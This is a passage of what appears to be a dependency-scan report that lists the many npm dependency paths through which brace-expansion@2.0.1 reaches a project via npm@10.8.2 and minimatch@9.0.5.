  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
